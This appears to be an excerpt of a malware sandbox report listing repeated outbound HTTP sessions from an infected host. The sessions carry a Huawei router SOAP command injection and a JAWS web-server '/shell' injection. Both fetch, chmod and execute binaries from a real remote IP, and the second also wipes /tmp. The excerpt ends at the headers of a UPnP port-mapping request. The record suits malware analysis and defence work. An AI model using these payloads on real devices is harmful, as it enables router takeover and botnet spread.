                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      123192.168.2.1537600156.247.30.18837215
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:09.223942995 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:10.840693951 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:12.728640079 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:16.696515083 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:24.376358986 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:39.479857922 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:10.710956097 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      124192.168.2.153686238.181.133.1245501
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:11.647320986 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:28:13.240633965 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:28:15.128597975 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:28:19.000466108 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:28:26.680262089 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:28:41.783812046 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:29:12.758964062 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      125192.168.2.153840445.33.248.4952869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:12.769659996 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
